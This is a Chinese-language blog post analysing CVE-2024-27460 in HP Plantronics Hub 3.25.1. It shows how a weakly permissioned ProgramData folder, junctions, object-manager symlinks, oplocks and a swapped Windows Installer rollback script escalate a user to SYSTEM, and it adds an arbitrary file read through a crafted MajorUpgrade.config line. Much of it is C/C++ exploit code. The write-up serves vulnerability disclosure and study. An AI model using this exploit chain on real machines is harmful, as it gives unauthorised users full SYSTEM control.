CVE-2024-27460 HP Plantronics Hub 本地提权及任意文件读取漏洞分析

HP Plantronics Hub 3.25.1 存在一个错误,该错误允许低权限用户在安装该应用程序的计算机上以 SYSTEM 身份执行任意文件读取。此外,还可以利用此缺陷将权限升级到 SYSTEM 用户。

漏洞信息

描述

HP Plantronics Hub 是一款由 Poly(前称 Plantronics)和 HP 提供的软件,用于管理和配置 Plantronics 及 Poly 设备。通过这款软件,用户可以:查看设备状态、更新固件、调整设备设置、获取设备使用说明、进行故障排除。

HP Plantronics Hub 3.25.1 更新程序权限升级/任意文件读取:

HP Plantronics Hub 3.25.1 存在一个错误,该错误允许低权限用户在安装该应用程序的计算机上以 SYSTEM 身份执行任意文件读取。此外,还可以利用此缺陷将权限升级到 SYSTEM 用户。

公告链接:https://support.hp.com/us-en/security-bulletins

受影响的版本

HP Plantronics Hub 3.25.1

https://www.manageengine.com/products/desktop-central/software-installation/silent_install_Plantronics-Hub-(3.25.1).html

受影响的服务

不安全路径:“C:\ProgramData\Plantronics\Spokes3G”

环境搭建

软件下载(百度网盘):

HP Plantronics Hub 3.25.1:

链接:https://pan.baidu.com/s/1UBt1d4G-qW2F1KMkyDDNXQ

提取码:obad

虚拟机环境:VMware - windows 10

漏洞分析

提权

逻辑分析

安装软件后,我们来查看该软件安装的服务:

Ctrl+R输入services.msc,定位到安装的程序:

也可使用:

Get-Service PlantronicsUpdateService | Select-Object DisplayName, @{Name="UserName";Expression={(Get-WmiObject -Class Win32_Service -Filter "Name = '$($_.Name)'").StartName}}, @{Name="BinaryPath";Expression={(Get-WmiObject -Class Win32_Service -Filter "Name = '$($_.Name)'").PathName}}

该程序是在进行软件升级是提供服务的,当用户点击检查更新时则会调用该服务:

使用Process Monitor监控该程序,可以按到点击更新后,可以看到服务进行如下的文件操作:

可以看到服务正在不断寻求创建C:\ProgramData\Plantronics\Spokes3G\MajorUpgrade.config文件,但是在没有该文件是则会返回NAME NOT FOUND,其目录C:\ProgramData\Plantronics\Spokes3G\权限为弱限制,普通用户即可进行读写,我们在其中新建一个MajorUpgrade.config文件就会被强制删除:

其中操作为SetDispositionInformationFile操作:

此操作用于实际标记文件为删除状态。当文件句柄关闭时,文件将被删除。且当前操作权限为SYSTEM用户。由此可以从实现从高权限删除文件的效果。

该目录下还有其他的目录,在未进行update时,目录可由普通用户进行读写:

因此现在我们可以将此目录清空,并转换为连接点和对象管理器符号链接,来达到任意文件删除的效果。

现在我们已经可以实现任意文件删除了,那么我们如何做到从任意文件删除到提权这个步骤呢?

ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICK

这篇文章能够把任意文件删除造成的DoS漏洞升级为本地提权漏洞EoP,让我们可以从任意文件删除、任意文件夹删除和其他看似影响较小的基于文件系统的漏洞利用原语中获得更多收益。下面对原文中的关键信息进行部分翻译:

当我们在 Windows 上利用任意文件删除时,会遇到三个问题:

  1. 大多数关键的 Windows 操作系统文件都使用 DACL 锁定,甚至可以防止 SYSTEM 进行修改。相反,大多数操作系统文件归 TrustedInstaller 所有,并且只有该帐户有权修改它们。
  2. 即使您找到可以删除的文件 SYSTEM ,它也必须是删除后会导致“打开失败”(安全性降低)的文件。
  3. 由于共享违规,某些关键系统文件始终无法访问。

如何解决这三个问题呢?

这里用到了 Windows Installer 服务。Windows Installer 服务负责执行应用程序的安装。为了了解权限提升的途径,我们需要解释一下 Windows Installer 服务的操作。下面的解释稍微简化了。

Windows Installer 服务负责执行应用程序的安装。应用程序作者提供一个 .msi 文件,该文件是一个数据库,定义安装应用程序时必须进行的更改:要创建的文件夹、要复制的文件、要修改的注册表项、要执行的自定义操作。执行,等等。为了确保在安装无法完成时保持系统完整性,并能够干净地恢复安装,Windows Installer 服务强制执行事务性。每次对系统进行更改时,Windows Installer 都会记录更改,并且每次使用正在安装的程序包中的较新版本覆盖系统上的现有文件时,它都会保留旧版本的副本。如果需要回滚安装,这些记录允许 Windows Installer 服务将系统恢复到原始状态。在最简单的情况下,这些记录的位置是名为 C:\Config.Msi 的文件夹。

在安装过程中,Windows Installer 服务会创建一个名为 C:\Config.Msi 的文件夹,并在其中填充回滚信息。每当安装过程对系统进行更改时,Windows Installer 都会将更改记录在 C:\Config.Msi 内的 .rbs 类型文件(回滚脚本)中。此外,每当安装用新版本覆盖某些文件的旧版本时,Windows Installer 都会在 C:\Config.Msi 中放置原始文件的副本。这种类型的文件将被赋予 .rbf (回滚文件)扩展名。如果需要回滚不完整的安装,该服务将读取 .rbs 和 .rbf 文件,并使用它们将系统恢复到安装之前存在的状态。

必须防止该机制被篡改。如果恶意用户能够在读取 .rbs 和/或 .rbf 文件之前对其进行更改,则在回滚期间可能会发生对系统状态的任意更改。因此,Windows Installer 对 C:\Config.Msi 及其所包含的文件设置了强 DACL。

不过,这里出现了一个漏洞:如果攻击者具有任意文件夹删除漏洞怎么办?他们可以在 Windows Installer 创建 C:\Config.Msi 后立即使用它来完全删除它。然后,攻击者可以使用弱 DACL 重新创建 C:\Config.Msi (请注意,普通用户可以在 C:\ 的根目录下创建文件夹)。一旦 Windows Installer 在 C:\Config.Msi 中创建回滚文件,攻击者就能够将 C:\Config.Msi 替换为包含攻击者指定的 .rbs.rbf 文件。然后,在回滚时,Windows Installer 将对系统进行任意更改,如恶意回滚脚本中指定的那样。

代码实现

此处实现连接点相关操作:

CreateJunction创建连接点

DeleteJunction删除连接点

BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
    HANDLE hJunction;
    DWORD cb;
    wchar_t printname[] = L"";
    HANDLE hDir;
    hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

    if (hDir == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to obtain handle on directory %ls.\n", dir);
        return FALSE;
    }

    SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
    SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
    SIZE_T PathLen = TargetLen + PrintnameLen + 12;
    SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
    PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
    Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    Data->ReparseDataLength = PathLen;
    Data->Reserved = 0;
    Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
    Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);

    if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
    {
        printf("[+] Junction %ls -> %ls created!\n", dir, target);
        free(Data);
        return TRUE;

    }
    else
    {
        printf("[!] Error: %d. Exiting\n", GetLastError());
        free(Data);
        return FALSE;
    }
}

BOOL DeleteJunction(LPCWSTR path) {
    REPARSE_GUID_DATA_BUFFER buffer = { 0 };
    BOOL ret;
    buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    DWORD cb = 0;
    IO_STATUS_BLOCK io;

    HANDLE hDir;
    hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);

    if (hDir == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to obtain handle on directory %ls.\n", path);
        printf("%d\n", GetLastError());
        return FALSE;
    }
    ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
    if (ret == 0) {
        printf("Error: %d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[+] Junction %ls delete!\n", dir);
        return TRUE;
    }
}

创建对象管理器符号链接相关代码:

BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
        printf("[+] Symlink %ls -> %ls created!\n", object, target);
        return TRUE;

    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;

    }
}

BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
        printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
        return TRUE;
    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;
    }
}

此处进行机会锁函数回调:

VOID cb0() {
    printf("[+] Oplock 1 triggered!\n");
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL);
    if (!Move(hFile2)) {
        exit(1);
    }
    if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) {
        printf("[!] Exiting!\n");
        exit(1);
    }
    if (!DosDeviceSymLink(L"GLOBAL\\GLOBALROOT\\RPC Control\\MajorUpgrade.config", L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) {
        printf("[!] Exiting!\n");
        exit(1);
    }

}

void Trigger() {
    _swprintf(dir, L"C:\\ProgramData\\Plantronics\\Spokes3G");
    _swprintf(file, L"%s\\MajorUpgrade.config", dir);
    DeleteContentsRecursively(dir);

    FileOpLock* oplock;
    do {
        hFile2 = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL);
    } while (hFile2 == INVALID_HANDLE_VALUE);

    printf("[+] File %ls created!\n", file);
    oplock = FileOpLock::CreateLock(hFile2, cb0);
    if (oplock != nullptr) {
        oplock->WaitForLock(INFINITE);
        delete oplock;
    }
}

清除目录来进行连接点转换:

void DeleteContentsRecursively(const std::wstring& path) {
    WIN32_FIND_DATAW findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    std::wstring searchPath = path + L"\\*";

    hFind = FindFirstFileW(searchPath.c_str(), &findFileData);

    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if ((wcscmp(findFileData.cFileName, L".") != 0) && (wcscmp(findFileData.cFileName, L"..") != 0)) {
                std::wstring filePath = path + L"\\" + findFileData.cFileName;
                if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                    DeleteContentsRecursively(filePath);
                    RemoveDirectoryW(filePath.c_str());
                    wprintf(L"Deleted folder: %ls\n", filePath.c_str());
                }
                else {
                    if (DeleteFileW(filePath.c_str())) {
                        wprintf(L"Deleted file: %ls\n", filePath.c_str());
                    }
                    else {
                        wprintf(L"Failed to delete file: %ls\n", filePath.c_str());
                    }
                }
            }
        } while (FindNextFileW(hFind, &findFileData) != 0);
        FindClose(hFind);
    }
    else {
        wprintf(L"Error opening directory: %ls\n", path.c_str());
    }
}

这里我们把cmd.rbs单独写入一个文件,作为资源文件加载:

使用 Windows API 函数 ReadDirectoryChangesW 来监视 C:\\Config.msi 目录的变化,特别是关注文件名变化。当检测到文件名变化时,通过 FILE_NOTIFY_INFORMATION 结构体获得文件名,并检查文件扩展名是否为 .rbs:

do {
    ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME,
        &retbt, NULL, NULL);
    fn = (FILE_NOTIFY_INFORMATION*)buff;
    size_t sz = fn->FileNameLength / sizeof(WCHAR);
    fn->FileName[sz] = '\0';
    extension = fn->FileName;
    PathCchFindExtension(extension, MAX_PATH, &extension2);
} while (wcscmp(extension2, L".rbs") != 0);

一旦识别出 .rbs 文件,代码将执行以下操作:

  1. 修改文件安全属性:使用 SetSecurityInfo 函数修改文件的安全属性,改变文件的访问权限。
  2. 移动文件:使用自定义的 Move 函数移动文件,其实就是删除文件。
  3. 创建并写入 rbs 文件:如果之前的操作成功,代码将创建一个新的 rbs 文件并写入数据。使用 CreateFile 打开文件,然后使用 WriteFile 将之前加载的资源(RbsBuff)写入文件:
HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
    printf("[+] Rollback script overwritten!\n");
}
else {
    printf("[!] Failed to overwrite rbs file!\n");
}

触发安装操作:

DWORD WINAPI install(void*) {
    HMODULE hm = GetModuleHandle(NULL);
    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
    wchar_t msipackage[MAX_PATH] = { 0x0 };
    GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
    printf("[*] MSI file: %ls\n", msipackage);
    DWORD MsiSize = SizeofResource(hm, res);
    void* MsiBuff = LoadResource(hm, res);
    HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
    CloseHandle(pkg);
    MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
    UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
    printf("%d\n", a);
    MsiInstallProduct(msipackage, L"REMOVE=ALL");
    DeleteFile(msipackage);
    return 0;
}

最后可以做到成功提权:

任意文件读取

除了提权之外,还存在一个任意文件读取漏洞。

提权时我们使用了一个MajorUpgrade.config文件,该文件是升级使用的配置文件,会被服务进行读取内容并执行,如果我们自己写入文件内容,则会以高权限进行读取,并将结果放入C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp目录中。

我们新建111.txt一个文件并限制权限,普通用户禁止读取:

然后写入到C:\ProgramData\Plantronics\Spokes3G\MajorUpgrade.config文件中:

%username%|advertise|C:\Users\root\Downloads\111.txt

等待服务扫描该文件,可触发备份功能:

可以看到该文件从高权限文件中进行了备份,最后当前用户可读:

此处任意文件读取漏洞是一个比较常见的逻辑漏洞。

总结

这个漏洞分析我感觉很大的难点就是找不到Plantronics Hub指定版本的下载链接。找了好久才找到。

参考链接

https://github.com/xct/CVE-2024-27460

  • 发表于 2024-05-30 09:34:37
  • 阅读 ( 23395 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
10cks
10cks

12 篇文章

站长统计